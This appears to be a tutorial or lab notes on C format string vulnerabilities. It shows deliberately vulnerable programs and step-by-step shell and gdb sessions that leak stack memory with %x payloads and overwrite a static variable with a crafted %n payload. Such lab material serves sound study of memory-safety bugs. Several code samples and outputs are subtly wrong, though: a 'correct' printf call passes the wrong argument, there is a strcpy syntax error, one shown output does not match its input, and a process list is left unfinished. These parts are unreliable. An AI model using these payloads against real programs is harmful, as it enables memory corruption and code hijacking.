FORMAT STRINGS
Improperly handled format strings can lead to memory corruption vulnerabilities, allowing attackers to read from or write to the stack and potentially redirect code execution.
CORRECT USAGE
#example
// gcc -g -m32 -O0 32_format_right.c -o 32_format_right.out
#include <stdio.h>
int main(int argc, char *argv[])
{
char *i = argv[1]; printf("You wrote: %s\n", 1);
}
* the format specifiers are also in scanf and may be vulnerable as well
root@dev:~$ ./32_format_right.out
You wrote: (null)
* nothing was entered by the user hence, output is null
root@dev:~$ ./32_format_right.out asdf
You wrote: asdf
INCORRECT USAGE
#example
// gcc -g -m32 -O0 33_format_wrong.c -o 33_format_wrong.out
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char test[1024];
strcpy[test, argv[1]); //this is a vulnerable function as it can be fed too much data
printf("You wrote: ");
printf(test);
printf("\n");
}
root@dev:~$ ./33_format_wrong.out
Segmentation fault: (core dumped)
* fault occured as nothing was supplied into the buffer
root@dev:~$ ./33_format_wrong.out asdf
You wrote: asdf
PLAYING WITH VULNERABILITY (TESTING)
# ./32_format_right.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
* the %08x will print out 8 digits in hexadecimal and prepends that data with zeroes
- this is equivalent to printf("%08x")
- this leads to 4 bytes of data repeated 10 times
#expected output of non-vulnerable program
root@dev:~$ ./32_format_right.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
You wrote: %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
# ./33_format_wrong.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
#vulnerable program that produces strange data
root@dev:~$ ./33_format_wrong.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
You wrote: ffffd3acf7ffd000565561d378383025783830257838302578383025783830257838302578383025
* it looks like there is a pattern to the output which means the data being displayed is being grabbed from somewhere in memory
- where is the data come from off the stack?
- can devs pull sensitive information?
- can devs write information on that location?
- can other specific data be read?
* when things such as this vulnerability is encountered, the following is:
- a.identify recognizable data using the format string vulnerability
- b.crafting a format string to extract data
#make the output easier to read
root@dev:~$ ./33_format_wrong.out AAAA$(python3 -c "import sys; sys.stdout.buffer.write(b'%08x.' * 10)")
You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025
* AAAAffffd3ac is the 1st entry in the stack the dev is able to read from
* f7ffd000 is the 2nd
* 565561d3 is the 3rd
* 41414141 is the 4th which will be the test data
#shrink the amount of data to look at only up to the test data (4th location)
root@dev:~$ ./33_format_wrong.out AAAA$(python3 -c "import sys; sys.stdout.buffer.write(b'%08x.' * 4)")
You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141.
* from this you can infere how the memory is laid out
#skip directly to a specific memory location value
root@dev:~$ ./33_format_wrong.out 'AAAA.%4$x'
You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141
* the 4$ means skip to the 4th item
* the %x means display data in hex
PROCESS:
1.test whether the program has a format string vulnerability
2.
EXPLOITATION THROUGH FORMAT STRING (OVERWRITING VARIABLES)
Static variables are stored in the data section, not on the stack, preventing traditional buffer overflows. However, attackers can still exploit format string vulnerabilities to write to arbitrary memory, including the data section.
think how scanf() works, devs are writing to an address via the &variableName
printf("[...]%n", &var); where [...] is the number of characters needed to use to set up the string
VULNERABLE PROGRAM 1 (INCORRECT SANITIZATION OF USER INPUT)
// gcc -g -m32 -w -Wno-format -Wno-format-security -fno-stack-protector -z norero 34_format_vuln.c -o 34_format_vuln.out
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[80];
static int var = 42;
printf("The value is at: [0x%08x]\n", &var);
strcpy(buf, argv[1]);
printf(buf);
printf("\nvar is %d [0x%08x]\n", var, var);
return 0;
}
root@dev:~$ ./34_format_vuln.out
The value is at: [0x565582bc]
Segmentation fault (core dumped)
* fault is due to no entry given!
root@dev:~$ ./34_format_vuln.out asdf
The value is at: [0x565582bc]
asdf
var is 42 [0x0000002a]
root@dev:~$ gdb ./34_format_vuln.out
gef> info func
All defined functions:
File 34_format_vuln.c:
6: int main(int, char **);
Non-debugging symbols:
...
strcpy@plt
gef> b *main
Breakpoint 1 at ...
gef> run $(printf "AAAA")%n
gef> d
...
gef> b *0x56556201
Breakpoint at 2 ...
gef> c
#dump 20 words of hex at esp
gef> x /20xw $esp
0xffffd0b0: 0xffffd0c0 0xffffd3b5 0x00000001 0x565561c1
0xffffd0c0: 0x41414141 0x00006e25 0xf7ffd000 0x00000000
0xffffd0d0: 0x00000000 0x00000534 0x0000003f 0xf7fa8224
0xffffd0e0: 0x00000000 0xf7faa000 0xf7ffc7e0 0xf7fad4e8
0xffffd0f0: 0xf7faa000 0xf7fe22b0 0x00000000 0xf7df3352
* 0x41414141 should be the entered data which is the AAAA
* 0x00006e25 should be the %n
* the 0xffffd0c0 at the very top of the stack (which is the last thing that got
pushed onto the stack) is the address of the "buf" variable
- if you follow it on the next line, you'll see the 0x41414141 0x00006e25 ...
* the 0xffffd3b5 is the memory location where the %n is stored
- this can be tested to see if the 4 A's will really get printed out at this address
- see... x /xw 0xffffd3b5 output below
#confirm for understanding
gef> i r $eax
eax 0xffffd0c0 ...
#display the string at 0xffffd0c0
gef> x /s 0xffffd0c0
0xffffd0c0: "AAAA%n"
gef> x /xw 0xffffd3b5
0xffffd3b5: 0x41414141
gef> d
gef> b *0x56556221
Breakpoint 3 at ...
gef> c
gef> d
...
gef> x /xw 0xffffd3b5
0xffffd3b5: 0x00000004
* this shows that devs are able to overwrite one position away from esp
gef> run $(printf "AAAA")%2\$n
* two positions away from %n
gef> c
gef> x /20xw $esp
0xffffd0b0: 0xffffd0c0 ...
* this will cause a seg fault as no valid instruction was produced
#identify where the variable you need to overwrite lives!
gef> run $(printf "AAAA")%4\$n
...
gef> c
The value is at: [0x565582bc] //this is the address that devs can overwrite
gef> run $(printf "\xbc\x82\x55\x56")%4\$n
* always write in little endian!
gef> c
gef> x /20xw $esp
0xffffd0b0: 0xffffd0c0 0xffffd3b3 0x00000001 0x565561c1
0xffffd0c0: 0x565582bc 0x00006e25 0xf7ffd000 0x00000000
0xffffd0d0: 0x00000000 0x00000534 0x0000003f 0xf7fa8224
0xffffd0e0: 0x00000000 0xf7faa000 0xf7ffc7e0 0xf7fad4e8
0xffffd0f0: 0xf7faa000 0xf7fe22b0 0x00000000 0xf7df3352
* as long as the address of 0x565582bc matches where var lives, devs should
be able to overwrite this
gef> c
gef> d
gef> c
??UV
var is 4 [0x00000004]
[Inferior 1 (process 37298) exited normally]
* this shows the variable has been overwritten from 42 to now "4"
#ALTERNATE METHOD
root@dev:~$ ./34_format_vuln.out $(printf "\xbc\x82\x55\x56")%4\$n
The value is at: [0x565582bc]
??UV
var is 4 [0x00000004]
VULNERABLE PROGRAM 2
// gcc -g 35_n_test.c -o 35_n_test.out
#include <stdio.h>
int main()
{
int c;
printf("What does %n do? ", &c);
printf("%d\n", c);
return 0;
}
* the %n does not print anything. instead it tells printf to store the number of
characters written so far (before the %n was seen) into the corresponding
argument, which must be a pointer to an integer.
- the character count for "What does " is 10 characters including the spaces
- this number is what get displayed by %n
* Security Warning: %n can be exploited in format string vulnerabilities
(e.g., writing to arbitrary memory), so it's often disabled or discouraged in
secure coding environments.
root@dev:~$ ./35_n_test.out
What does %n do? 10
Last updated